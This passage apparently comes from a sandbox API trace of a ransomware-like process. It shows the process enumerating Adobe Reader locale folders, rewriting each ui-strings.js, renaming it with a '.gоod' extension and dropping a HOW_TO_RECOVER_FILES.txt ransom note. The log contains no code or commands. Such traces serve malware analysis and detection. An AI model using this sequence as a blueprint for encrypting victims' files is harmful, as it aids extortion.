nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a8c0 [0243.821] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.822] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.822] FindNextFileW (in: hFindFile=0x134a8c0, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.822] FindClose (in: hFindFile=0x134a8c0 | out: hFindFile=0x134a8c0) returned 1 [0243.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.822] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi", lpFilePart=0x0) returned 0x71 [0243.822] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0243.822] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.822] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.823] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0243.823] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0243.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.823] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0243.823] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x394a148 | out: lpFileInformation=0x394a148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefdfa6fb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xb67e)) returned 1 [0243.824] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0243.824] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.824] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.824] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.825] GetFileType (hFile=0x85c) returned 0x1 [0243.825] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.825] GetFileType (hFile=0x85c) returned 0x1 [0243.825] SetFilePointer (in: hFile=0x85c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0x1000 [0243.825] ReadFile (in: hFile=0x85c, lpBuffer=0x394a640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2f8, lpOverlapped=0x0 | out: lpBuffer=0x394a640*, lpNumberOfBytesRead=0x203eb2f8*=0x1000, lpOverlapped=0x0) returned 1 [0243.826] CloseHandle (hObject=0x85c) returned 1 [0243.826] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.826] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.826] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.826] GetFileType (hFile=0x85c) returned 0x1 [0243.826] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.826] GetFileType (hFile=0x85c) returned 0x1 [0243.826] SetFilePointer (in: hFile=0x85c, lDistanceToMove=0, lpDistanceToMoveHigh=0x203eb328*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x203eb328*=0) returned 0xb67e [0243.826] WriteFile (in: hFile=0x85c, lpBuffer=0x394b948*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x203eb218, lpOverlapped=0x0 | out: lpBuffer=0x394b948*, lpNumberOfBytesWritten=0x203eb218*=0x10, lpOverlapped=0x0) returned 1 [0243.827] CloseHandle (hObject=0x85c) returned 1 [0243.827] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.828] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.828] GetFileType (hFile=0x85c) returned 0x1 [0243.828] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.828] GetFileType (hFile=0x85c) returned 0x1 [0243.828] ReadFile (in: hFile=0x85c, lpBuffer=0x394dc98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x203eb2a8, lpOverlapped=0x0 | out: lpBuffer=0x394dc98*, lpNumberOfBytesRead=0x203eb2a8*=0x1000, lpOverlapped=0x0) returned 1 [0243.858] CloseHandle (hObject=0x85c) returned 1 [0243.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0243.858] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x85c [0243.858] GetFileType (hFile=0x85c) returned 0x1 [0243.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0243.858] GetFileType (hFile=0x85c) returned 0x1 [0243.858] WriteFile (in: hFile=0x85c, lpBuffer=0x394c980*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x203eb358, lpOverlapped=0x0 | out: lpBuffer=0x394c980*, lpNumberOfBytesWritten=0x203eb358*=0x1010, lpOverlapped=0x0) returned 1 [0243.858] CloseHandle (hObject=0x85c) returned 1 [0243.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.858] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x84 [0243.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb290) returned 1 [0243.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x203eb370 | out: lpFileInformation=0x203eb370*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x8d907fc8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb68e)) returned 1 [0243.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb250) returned 1 [0243.859] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\ui-strings.js.gоod")) returned 1 [0243.860] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x203eaf70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8a [0243.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb490) returned 1 [0243.860] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fi-fi\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x85c [0243.861] GetFileType (hFile=0x85c) returned 0x1 [0243.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb400) returned 1 [0243.861] GetFileType (hFile=0x85c) returned 0x1 [0243.862] WriteFile (in: hFile=0x85c, lpBuffer=0x39cc768*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x203eb558, lpOverlapped=0x0 | out: lpBuffer=0x39cc768*, lpNumberOfBytesWritten=0x203eb558*=0x5d0, lpOverlapped=0x0) returned 1 [0243.862] CloseHandle (hObject=0x85c) returned 1 [0243.862] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.862] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x71 [0243.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a740 [0243.863] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.863] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.863] FindNextFileW (in: hFindFile=0x134a740, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0243.863] FindClose (in: hFindFile=0x134a740 | out: hFindFile=0x134a740) returned 1 [0243.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.863] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.863] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb520) returned 1 [0243.863] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr", nBufferLength=0x105, lpBuffer=0x203eafc0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr", lpFilePart=0x0) returned 0x71 [0243.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\*", lpFindFileData=0x203eb240 | out: lpFindFileData=0x203eb240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac80 [0243.864] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0243.864] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0243.864] FindNextFileW (in: hFindFile=0x134ac80, lpFindFileData=0x203eb200 | out: lpFindFileData=0x203eb200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0243.864] FindClose (in: hFindFile=0x134ac80 | out: hFindFile=0x134ac80) returned 1 [0243.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb460) returned 1 [0243.864] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb420) returned 1 [0243.864] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eae00, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0243.864] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb2d0) returned 1 [0243.864] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39dc4e0 | out: lpFileInformation=0x39dc4e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe46ba5, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe46ba5, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe46ba5, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xc4ad)) returned 1 [0244.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb290) returned 1 [0244.009] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x203eacb0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js", lpFilePart=0x0) returned 0x7f [0244.009] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x203eb1d0) returned 1 [0244.009] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\aicuc\\js\\nls\\fr-fr\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x630 [0244.009] GetFileType (hFile=0x630) returned 0x1 [0244.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x203eb140) returned 1 [0244.009] GetFileType 